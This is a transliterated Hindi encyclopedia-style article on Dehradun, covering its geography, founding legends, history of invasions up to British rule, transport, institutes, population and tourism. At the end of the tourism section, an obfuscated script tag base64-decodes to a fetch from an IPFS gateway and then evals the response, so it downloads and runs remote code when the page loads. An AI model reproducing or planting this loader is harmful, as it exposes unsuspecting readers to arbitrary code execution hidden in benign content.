देहरादून
deharadoon
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| vivaran | devabhoomi uttarakhand ki rajadhani deharadoon bharat ka prasiddh parvatiy paryatak sthal hai. deharadoon poorv mean ganga se lekar pashchim mean yamuna nadi tak phaila hua hai. |
| rajy | uttarakhand |
| zila | deharadoon zila |
| sthapana | 1699 |
| marg sthiti | deharadoon chandigadh se 204 kilomitar dakshin poorv, shimala se 234 kilomitar dakshin poorv, dilli se 288 kilomitar door sthit hai. |
| prasiddhi | deharadoon shikshan sansthan, mandir, jharanean, sangrahalay ke lie vikhyat hai. |
| kaise pahuanchean | bas, rel, taiksi, havaee jahaz |
| havaee adda | jauli grant havaee adda, deharadoon |
| relave steshan | deharadoon relave steshan |
| bas adda | bas adda, deharadoon |
| kya dekhean | shikshan sansthan, mandir, jharanean, sangrahalay |
| kya kharidean | kharidadari ke lie paltan bazar vishesh taur par prasiddh hai. mausam ki taji shakkar, ne akar prakar ke bartan aur gipht dene ka saman, am aur rasili lichi kharid sakate haian. |
| es.ti.di. kod | 0135 |
| e.ti.em | lagabhag sabhi |
| savadhani | barasat mean bhooskhalan |
| chitr:Map-icon.gif | googal manachitr, jauli grant havaee adda |
| deharadoon | deharadoon paryatan | deharadoon zila |
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deharadoon uttari bharat ke pashchimottar uttarakhand rajy mean sthit hai. deharadoon 670 mitar ki ooanchaee par himalay ki taraee mean sthit hai. bhaugolik roop se deharadoon shivalik ki paha diyoan aur madhy himalay ki paha diyoan ke bich mean sthit hai. uttarakhand ki rajadhani deharadoon bharat ka prasiddh parvatiy paryatak sthal hai. deharadoon poorv mean ganga se lekar pashchim mean yamuna nadi tak phaila hua hai. is tarah ki vistrit ghatiyoan ko hi "doon" kahate haian. himalay ki taraee aur shivalik parvat shriankhala ke bich ki ghati ko doon kahate haian. is ghati mean sauang v asan jaisi kee nadiyaan haian. deharadoon shabd ki utpatti do shabdoan ko milakar huee hai-
thumb|left|mindroliang stoop, deharadoon
Mindroling Stupa, Dehradun
- dehara shabd ka arth nivas sthan ya dera hai.
- doon ka arth dron ya parvat ghati hai.
deharadoon shahar ke uttar mean parvatiy nagar masoori ek lokapriy grishmakalin paryatak kendr hai aur rrishikesh ek mahattvapoorn tirth sthal hai.
sthapana
deharadoon ki sthapana 1699 mean huee thi. kahate haian ki sikkhoan ke guru ramaray kiratapur panjab se akar yahaan bas ge the. mugal samrat aurangazeb ne unhean kuchh gram tihari naresh se dan mean dilava die the. yahaan unhoanne 1699 ee. mean mugal maqabaroan se milata-julata mandir bhi banavaya jo aj tak prasiddh hai. shayad guru ka dera is ghati mean hone ke karan hi is sthan ka nam deharadoon p d gaya hoga.
- isake atirikt ek atyant prachin kianvadanti ke anusar deharadoon ka nam pahale dronanagar tha aur yah kaha jata tha ki pandav-kauravoan ke guru dronachary ne is sthan par apani tapobhoomi banaee thi aur unhian ke nam par is nagar ka namakaran hua tha.
- ek any kianvadanti ke anusar jis dronapart ki aushadhiyaan hanuman ji lakshman ke shakti lagane par lanka le ge the, vah deharadoon mean sthit tha, kintu valmiki ramayan mean is parvat ko mahoday kaha gaya hai.
itihas
deharadoon ka itihas kafi prachin hai. skand puran mean deharadoon ko "kedar khand" ka bhag kaha gaya hai.[1] deharadoon ka ek ati prachin muhalla khurava da hai, jisaka sambandh lok katha mean virat ke gauauan ke khuroan ke girane se jo da jata hai. deharadoon zile mean kalasi ke nikat jagatagram namak sthan par tritiy shati ee. ke kuchh avashesh mile haian, jinase jnat hota hai, ki raja shilavarman ne is sthan par ashvamedh yajn kiya tha. isase yah mahattvapoorn tathy siddh hota hai ki desh ke is bhag mean tritiy shati ee. mean hindoo dharm ke punarjagaran ke lakshan nishchit roop se dikhaee p dane lage the. yah bhi kaha jata hai ki mahabharat kal mean virataraj ki sena kalasi mean raha karati thi, jo deharadoon ke pas hi hai aur unaki gaanvoan ki raksha chhadmaveshadhari arjun ne ki thi.[2]
thumb|300px|left|kegyu sansthan, deharadoon
Kagyu Institute, Dehradun
brahmadatt
brahmadatt ka rajy ganga aur yamuna ke bich tha. sanh 1368 mean taimoor ne haridvar ke pas raja brahmadatt se l daee ki. taimoor ne bijanaur zile se ganga ko par kar ke mohand darre se deharadoon mean pravesh kiya. brahmadatt ki har ke bad taimoor ne b di nirdayata se marakat karavaee, use loot mean bahut dhan bhi mila tha. isake bad phir sadiyoan tak idhar koee lutera nahian aya. shahajahaan ke samay mean phir mugal sena idhar aee thi. us samay gadhaval mean prithvishah ka rajy tha. is raja ke prapautr fateh shah ne apane rajy ki sima badhane ke uddeshy se tibbat aur saharanapur par ek sath chadhaee kar di thi, lekin itihas ke dastavezoan ke anusar usako yuddh mean har ka muanh dekhana p da tha. sanh 1756 ke asapas shri guru ramaray ne doon kshetr mean apani sena tatha shishyoan ke sath pravesh kiya aur darabar sahib ki nianv rakhakar sthayi roop se yahian bas ge.
akraman
- mugal samrajy ke chhinn-bhinn ho jane par 1772 ee. mean deharadoon par goojaroan ne akraman kiya tha. tatpashchath afagan saradar gulam qadir ne guru ramaray ke mandir mean anek hinduoan ka vadh kiya aur phir saharanapur ke soobedar najibuddaula ne doon-ghati par akraman karake us par adhikar kar liya. usaki mrityu ke pashchath goojar, rajapoot aur gorakhe; in sabhi ne bari-bari se is pradesh mean lootamar machaee.
- 1783 ee. mean sikh saradar baghel sianh ne saharanapur ko lootane ke pashchath deharadoon ko nasht-bhrasht kar diya. jin logoan ne ramaray ke mandir mean sharan li, keval ve hi bach sake any sab ko talavar ke ghat utar diya gaya. asapas ke gaanvoan mean bhi baghel sianh ke sainikoan ne loot-mar machaee.
[[chitr:Sahastradhar-Dehradun.jpg|thumb|250px|sahastradhara, deharadoon
Sahastradhar, Dehradun]]
- 1786 ee. mean gulam qadir ne dubara deharadoon ko loota aur is bar usaka sahayak maniyar sianh bhi tha. gulam qadir ne ramaray ke gurudvare ko lootakar jala diya aur bichhi huee guru ki shaiya par shayan kar usane sikkhoan aur hinduoan ke hridayoan ko bhari thes pahuanchaee. sthaniy hinduoan ka vishvas tha ki inhian atyacharoan ke karan yah drisht akraanta pagal hokar mrityu ko prapt hua.
- 1801 ee. mean gorakhoan ne doon ghati ko hastagat kar liya. yahaan us samay tihari gadhaval naresh pradumnashah ka adhikar tha. is l daee mean gorakha naresh bahadurashah ka vir senani amar sianh ne b di virata se samana kiya. gorakhoan ka rajy is ghati mean terah-chaudah varsh tak raha. is kal mean unhoanne b di nrishansata se shasan kiya. unaka atyachar yahaan tak badh gaya tha ki ve lagan vasool karane ke lie kisanoan ko prativarsh haridvar ke mele mean bech diya karate the. kaha jata hai ki inaka mooly das se ek sau pachas rupaye tak uthata tha. atyachar grast kisan saik doan ki sankhya mean doon-ghati se bhagakar bahar chale ge. ramaray gurudvare ke mahant harasevak ne bad mean in kisanoan ko vapas bula liya tha.
- 1814 ee. mean gorakha yuddh ke pashchath doonaghati tatha uttari bharat ke any paha di pradesh aangrezoan ke hath mean a ge. 18vian sadi ke dauran akramanakariyoan ne ek ke bad ek is ilaqe par vijay paee, jinamean aantim gurakha the.
- 1816 mean gurakha yuddh ki samapti par yah kshetr aangrezoan ko sattaantarit kar diya gaya.
yatayat aur parivahan
thumb|left|kl aauk t aauvar, deharadoon
Clock Tower, Dehradun
deharadoon parvatiy paryatak sthal tatha dakshin se ane vale ek rel evan s dak marg ka aantim p dav hai. yahaan yatayat ke paryapt sadhan upalabdh haian.
vayu marg
deharadoon ka nikatatam havaee adda jauli grant havaee adda hai. desh ke pramukh shaharoan se yah sidha havaeemarg dvara ju da hua hai.
rel marg
deharadoon desh ke pramukh shaharoan se ju da hua hai. dilli, kolakata, muanbee, varanasi, lakhanoo aur any jagahoan se yahaan ke lie rojana rel seva upalabhdh haian.
s dak marg
deharadoon dilhli tatha rajhy ke anek shaharoan se bas marg dvara aya ja sakata hai.
udyog aur vyapar
yahaan chaval, gehooan, mota anaj, chay aur any fasalean ugaee jati haian, tatha is kshetr mean qimati imarati lak diyaan payi jati hai. chay prasanskaran deharadoon ka mukhy udyog hai. deharadoon bharatiy sarvekshan evan van vibhag ka mukhyalay bhi hai.
shikshan sansthan
[[chitr:Forest-Research-Institute-Dehradun.jpg|300px|vany anusandhan sansthan, deharadoon
Forest Research Institute, Dehradun|thumb]]
deharadoon mean kee shaikshanik sansthan haian, jo is prakar haian-
- vany anusandhan sansthan
- aaurakiyol aaujikal sarve leboretri
- iandiyan militri ekedami
- rashtriy iandiyan militri k aaulej
- iandiyan ianstityoot aauf rimot seansiang
- shri guru ram ray ianstityoot aauf teknol aauji eand saiansez
sangrahalay
is shahar mean sangrahalay bhi haian, jinamean se ek mahattvapoorn sangrahalay 'vadiya ianstityoot aauf himalayan jiy aaul aauji' mean haian asapas ke ilaqe mean 2500 mitar tak ooanchi chotiyaan haian.
janasankhya
2001 ki janaganana ke anusar deharadoon ki janasankhya 4,47,808 hai. chhavani kshetr mean deharadoon ki janasankhya 30,102 v deharadoon zile mean janasankhya 12,79,083 haian.
paryatan
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deharadoon mean kee paryatan sthal hai. bharat ka prasiddh parvatiy paryatak sthal deharadoon devabhoomi hai. shivalik paha diyoan ke bich basa deharadoon prativarsh lakhoan sailaniyoan ko apani or akarshit karata hai. deharadoon ka vany anusandhan sansthan eshiya mean ekamatr sansthan hai. deharadoon mean prakritik chhata ke sath-sath manav nirmit kala ko bhi dekha ja sakata hai. deharadoon paryatan ka sabase akarshak sthal hai. videshi paryatak bhi yahaan adhyatmik sukh ki chah mean niyamit roop se ate rahate haian. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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